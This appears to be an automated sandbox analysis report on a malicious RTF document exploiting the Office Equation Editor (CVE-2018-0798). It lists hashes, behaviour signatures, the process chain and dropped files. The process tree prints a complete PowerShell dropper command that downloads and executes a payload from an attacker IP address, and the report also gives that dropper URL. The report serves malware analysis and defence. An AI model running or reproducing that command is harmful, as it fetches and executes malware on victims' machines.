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Analysis

  • max time kernel
    102s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    07/01/2023, 02:32

General

  • Target

    SecuriteInfo.com.Exploit.CVE-2018-0798.4.7696.22882.rtf

  • Size

    6KB

  • MD5

    5036c5caf4d3839c4768b846b2026b49

  • SHA1

    05971e6e13b6a5e88ec50ae43fe89874516e88e6

  • SHA256

    189f0ab021c39b7e837691b536c320ff30d20de3c27c938176ce3f0cc317987a

  • SHA512

    4533f52b813929a5f6b344cf823619ba5b976f2b644071b7ab0c32bb4746cb3bab6eac0bf75e2a6103cbd8a14752d21d40abc7cb1ab5e01fd3025575c84c8a1f

  • SSDEEP

    96:3UfUBpr9AuwfChEJcKrKJr4S545im7e/EhZiC+6ZVX8tXaH8r1i6DdEAFWU+LPoX:37pEJcl15X0e/MiqwashDdEAmLPm

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://172.174.176.153/dll/NoStartUp.ppam

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.CVE-2018-0798.4.7696.22882.rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1248
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:1500
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\greeee.vbs"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:752
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://172.174.176.153/dll/NoStartUp.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.cahdfdghdfsdgdsdsfgfg/42.021.871.591//:ptth'))
          3⤵
          • Blocklisted process makes network request
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1996

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\greeee.vbs

      Filesize

      420KB

      MD5

      3805af32517cf184b9b72048f726bf74

      SHA1

      d64ad714e41a32c0450f7a14f51d60c3abfd077a

      SHA256

      abf2e8a2cac26552d9eae223e7fc9aab786ea64e53bd1e39c7ba8660d6fb33ec

      SHA512

      377e12cb76bcb433ee96938ecc3ff24641b0ce2cdf0507a8849188a3b40e0012d888a287f368f737afd0485611c9dd9cffd91f31cb514c4ea9e6d09c805b1fe0

    • memory/1248-70-0x000007FEFBCD1000-0x000007FEFBCD3000-memory.dmp

      Filesize

      8KB

    • memory/1632-58-0x000000007122D000-0x0000000071238000-memory.dmp

      Filesize

      44KB

    • memory/1632-54-0x00000000727C1000-0x00000000727C4000-memory.dmp

      Filesize

      12KB

    • memory/1632-57-0x00000000761F1000-0x00000000761F3000-memory.dmp

      Filesize

      8KB

    • memory/1632-67-0x000000007122D000-0x0000000071238000-memory.dmp

      Filesize

      44KB

    • memory/1632-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1632-55-0x0000000070241000-0x0000000070243000-memory.dmp

      Filesize

      8KB

    • memory/1632-71-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1632-72-0x000000007122D000-0x0000000071238000-memory.dmp

      Filesize

      44KB

    • memory/1996-65-0x000000006B050000-0x000000006B5FB000-memory.dmp

      Filesize

      5.7MB

    • memory/1996-66-0x0000000004BB0000-0x0000000005201000-memory.dmp

      Filesize

      6.3MB

    • memory/1996-68-0x000000006B050000-0x000000006B5FB000-memory.dmp

      Filesize

      5.7MB